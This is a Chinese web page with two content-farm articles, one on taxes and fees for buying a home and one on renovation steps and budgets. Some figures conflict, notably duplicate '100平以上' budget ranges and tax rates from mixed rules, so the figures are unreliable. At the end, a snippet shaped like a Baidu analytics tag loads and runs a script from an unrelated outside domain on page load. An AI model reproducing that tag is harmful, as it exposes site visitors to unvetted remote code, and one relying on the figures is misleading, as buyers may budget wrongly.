房屋购置税如何计算？

随着房价不断攀升，人们买房变得尤为谨慎。其实在日常生活中，房屋交易近年来变得尤为重要。在房屋交易的过程中，有许许多多的细节、要点需要我们注意。在这里小编着重向大家介绍一下有关于房屋购置税的相关知识。例如，什么是房屋购置税、房屋购置税的计算方法等。希望大家在阅读本文之后对于房屋购置税有了一定的认识。一、什么是房屋购置税?房产购置包括以下收费：契税：根据京财税(1999)1201号文的规定，买卖已购公有住房和经济适用住房的买卖双方在办理产权交易时，房屋建筑面积在120平方米(含)以下的，买方应交纳房屋成交价2%的契税;建筑面积超过120平方米，买方应交纳房屋成交价4%的契税。手续费：买卖双方依照规定各自交纳房屋成交价0.5%的交易手续费。印花税：买卖双方各交纳房价款0.5‰的印花税。二、房屋购置税的算法根据评估价格、面积入座1、测绘费1.36元/平方，买方;2、评估费0.5%(评估额，允许浮动);3、契税评估额1%-3%(90平内1%，90平—144平1.5%，144平外3%)买方;4、交易费3/平方，买方;5、工本费80元，买方(工本印花税5元);三、买商品房需要的交的税?(一)买商品房需要交的税：1、契税，购房总价的3-5%(不同的省市自治区税率不同)，普通商品住宅减半，即1.5-2.5%。2、印花税，购房总价的0.05%(二)基金：1、房屋维修基金，购房总价的2-3%，大多数地方是2%2、副食品价格调节基金,2元/平方米，有些地方不用(三)规费1、交易费，购房总价的0.5%买卖双方各交0.25%，(住宅3元/平方米，由开发商交，购房者不用交)2、《房屋所有权证》工本费，各地不一样，但是都不超过100元3、《土地使用权证》工本费，各地不一样，但是都不超过100元(四)如果按揭，还要发生以下费用1、评估费，购房总价的0.2-0.5%2、保险费，购房总价乘以贷款年限乘以0.1%乘以50%3、公证费，贷款额乘以0.03%4、抵押登记费，100元以上就是小编总结的有关于房产购置税的相关知识。包括什么是房产购置税、房产购置税如何计算以及买商品房需要交的税。希望大家在阅读之后，对于房产购置税有了一定的了解。小编在这里提醒大家。在进行购房时，有许多细节需要注意。如果在购房时遇到相关问题，请及时到相关部门进行咨询专业人士。希望以上内容对你有用!

来清楚地了解下房屋装修步骤及预算是多少

在这个社会上，有能力了，买了新房子是件非常开心的事情，但是呢，装修新房又是一件让人很头疼的事情。要是全部都包给装修公司来做吧，自己肯定心里有挂念着，不放心，怕装修坏了；不承包给装修公司来做吧，自己又不懂怎么做。所以呢，自己有了新房子，要想装修了，就一定要知道房屋装修步骤及预算是多少的，这个是相当重要的啊。下面就来详细的给介绍下这房屋装修步骤及预算是多少的吧。一、房子的详细装修步骤首先呢，要先对开发商交给我们的新房子进行相应的验房，没问题了，就可以开始自己的装修房子了，不然要是有问题，没有处理好，那么这时候自己已经开始装修了，那么开发商完全可以不承认这个是有问题的呢。接下来呢，要找好对的装修公司来承担装修，既然自己不放心装修公司，那就再找装修公司的时候一定要多跑几家，挑自己最满意的公司来负责自己的房子的装修。然后装修过程中，要是不是的来检查监督，这样也是为了自己能够放心之后装修完交房使用嘛。最后呢，装修后还要做好保洁工作，然后和装修公司做最后的装修成本核算。当然，还得必须了解这装修公司的装修过程中的装修步骤的，一般是这样的：房子的装修设计、房子主体的拆改、水电的改造、木工、泥工、油漆工等等，最后在一些家具、家电的安装。切记装修房子一定要清楚地知道房屋装修步骤及预算是多少的问题。二、房子的装修预算成本装修房子一定要清楚地知道房屋装修步骤及预算是多少的问题，一般的情况呢，房子的装修预算成本和房屋的面积大小关系非常的大。一般呢，两小室的房子65来平的装修2万左右就可以，80来平的一般要5万左右，100平以上的一般要15来万，100平以上的就不好说了，预计20万以上。总之呢，装修房子一定要清楚地知道房屋装修步骤及预算是多少的问题，知道房屋装修步骤及预算是多少的问题呢也是为了能够节省那个装修成本，能够为自己省去了很多不必要的麻烦呢。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();